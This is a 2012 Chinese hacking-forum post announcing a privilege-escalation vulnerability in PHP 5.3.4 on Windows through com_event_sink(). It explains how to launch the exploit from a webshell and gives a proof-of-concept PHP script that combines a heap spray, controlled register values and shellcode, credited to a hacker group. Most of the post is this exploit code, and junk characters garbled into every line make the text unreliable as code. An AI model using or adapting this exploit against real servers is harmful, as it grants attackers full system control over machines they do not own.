找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2101|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中: _4 c4 a  K. o' Y

( K" T/ v2 o7 j$ T( f* ?. S测试方法如下:cmd /c x:\php\php.exe x:\test.php" [; T1 q- Y( H" y; n# a; \& V
+ A+ ]1 `! }$ Z9 V, l5 V
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php3 Q" G: V1 B' u  j8 f5 m- p- K  Q# t
这里是两个测试的截图:
1 k$ i* ~% \2 u: H" N. @6 W, q
$ J: `) ~0 P9 D7 d+ z
8 `0 c' U3 H8 m' r
7 V" M, a" A" w: ~
: p9 c$ Q3 G# R2 [9 @
* r! ]& j$ q( |% Y# m" P成功利用此漏洞的攻击者将获得系统的最高权限' N  E! h4 q1 a- T) j
( j$ g& y6 j7 H8 x/ e6 c
2 `' V8 A! d& I- D( ]# e. }. v
( P% i! J& p/ l8 E4 {

. ^& u( j- |; ]& R. G5 P( @. t& _
" j! U+ A' l4 o  H关于漏洞分析稍后附上。一下是PoC代码:
" ^" h4 N' [, X; R; Y& q, e) T# |$ `: F: E2 s/ v
<?php
* o3 f5 v& v6 f6 N//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
& ]4 Y! t  K1 H//$eip ="\x44\x43\x42\x41";
( h) \: I( w3 \1 Q$eip= "\x4b\xe8\x57\x78";) z3 C1 O9 u. T) m8 K4 W" P
$eax ="\x80\x01\x8d\x04";
- U: V5 @- X! O3 i7 e0 F, x5 ^* e$deodrant="";
0 E) D" p5 H/ j8 h& p$axespray = str_repeat($eip.$eax,0x80);% J9 C# p  q( |/ K+ u
//048d0190
! H& j' U  W* z. `" C( Y2 secho strlen($axespray);
8 l/ G, Q8 @9 j3 Wecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
7 h# J+ T3 g9 S/ @$ vecho "Silic Group Hacker Army - BlackBap.Org";
8 x2 u, c; b, n//19200 ==4B32 4b00" n6 J7 s1 d' d( G4 ^+ T7 ~
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}7 a( C( V. W) }# T
$terminate = "T";
4 D; H. _1 k$ P+ t6 v3 a2 P3 H$u[] =$deodrant;
' D$ ]  r* D! |" i6 u  l0 y$r[] =$deodrant.$terminate;( t1 ^* w3 F6 G# |. T; r
$a[] =$deodrant.$terminate;
8 G! J* {5 T3 d9 j$s[] =$deodrant.$terminate;* F! h! f2 j" s$ \' \3 w
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的+ @. b: w% q1 {7 M2 U
$vVar = new VARIANT(0x048d0000+180);% }2 O$ t6 D: j
//弹窗代码(Shellcode); N$ F2 L/ t6 b% N7 t
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";! q7 S# P4 \+ J
$var2 = new VARIANT(0x41414242);  U# K5 _- S: u8 K0 C
com_event_sink($vVar,$var2,$buffer);
: [% K1 u  V6 n. p?>
! F6 ?* B. a' h. \6 {& `. d" R

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表